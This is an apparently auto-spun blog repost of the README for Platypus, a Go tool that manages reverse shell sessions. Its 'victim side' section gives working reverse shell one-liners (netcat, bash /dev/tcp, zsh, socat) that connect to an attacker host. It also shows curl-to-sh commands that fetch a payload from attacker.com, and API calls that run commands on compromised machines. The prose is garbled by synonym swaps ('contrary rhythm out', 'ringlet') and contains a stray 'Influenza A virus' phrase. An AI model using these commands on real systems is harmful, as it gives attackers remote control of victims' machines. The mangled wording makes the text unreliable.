Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go - Hi friends mederc, In the article that you read this time with the title Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go, We have prepared this article well for you to read and retrieve information from it. hopefully fill the posts Article Attack Defense, Article Linux, Article Pentesting Tools, Article Platypus, Article Red Team, Article Reverse, Article Reverse Shell, Article Reverse Shell As A Service, we write this you can understand. Alright, happy reading.

Title : Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go
link : Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go

Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go

Influenza A virus subtype H5N1 modern multiple contrary rhythm out sessions/clients managing director via concluding written inwards go.

Features

• Multiple service listening port
• Multiple customer connections
• RESTful API
• Reverse rhythm out equally a service

Screenshot

Network Topology

Attack IP: 192.168.1.2     Reverse Shell Service: 0.0.0.0:8080     RESTful Service: 127.0.0.1:9090 Victim IP: 192.168.1.3

Run Platypus from source code

go larn github.com/WangYihang/Platypus cd go/src/github.com/WangYihang/Platypus larn run platypus.go

Run Platypus from liberate binaries

// Download binary from https://github.com/WangYihang/Platypus/releases chmod +x ./Platypus_linux_amd64 ./Platypus_linux_amd64

Victim side

nc -e /bin/bash 192.168.1.2 8080 bash -c 'bash -i >/dev/tcp/192.168.1.2/8080 0>&1' zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.2 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:8080  

Reverse rhythm out equally a Service

// Platypus is able to multiplexing the contrary rhythm out listening port // The port 8080 tin have contrary rhythm out customer connexion // Also these is a Reverse rhythm out equally a service running on this port  // victim volition live on redirected to attacker-host attacker-port // sh -c "$(curl http://host:port/attacker-host/attacker-port)" # ringlet http://192.168.1.2:8080/attacker.com/1337 bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1' # sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)"  // if the assailant information non specified, it volition purpose host, port equally attacker-host attacker-port // sh -c "$(curl http://host:port/)" # ringlet http://192.168.1.2:8080/ ringlet http://192.168.1.2:8080/192.168.1.2/8080|sh # sh -c "$(curl http://host:port/)"

RESTful API

• GET /client List all online clients

# ringlet 'http://127.0.0.1:9090/client' {     "msg": [         "192.168.1.3:54798"     ],     "status": truthful }

• POST /client/:hash execute a ascendance on a specific client

# ringlet -X POST 'http://127.0.0.1:9090/client/0723c3bed0d0240140e10a6ffd36eed4' --data 'cmd=whoami' {     "status": true,     "msg": "root\n", }

• How to hash?

# echo -n "192.168.1.3:54798" | md5sum 0723c3bed0d0240140e10a6ffd36eed4  -

Download Platypus

Thus the article Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go

That's all the article Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go this time, hopefully can benefit you all. okay, see you in another article posting.

You are now reading the article Platypus - A Modern Multiple Contrary Compaction Sessions Director Written Inwards Go with the link address https://mederc.blogspot.com/2019/09/platypus-modern-multiple-contrary.html

Share this post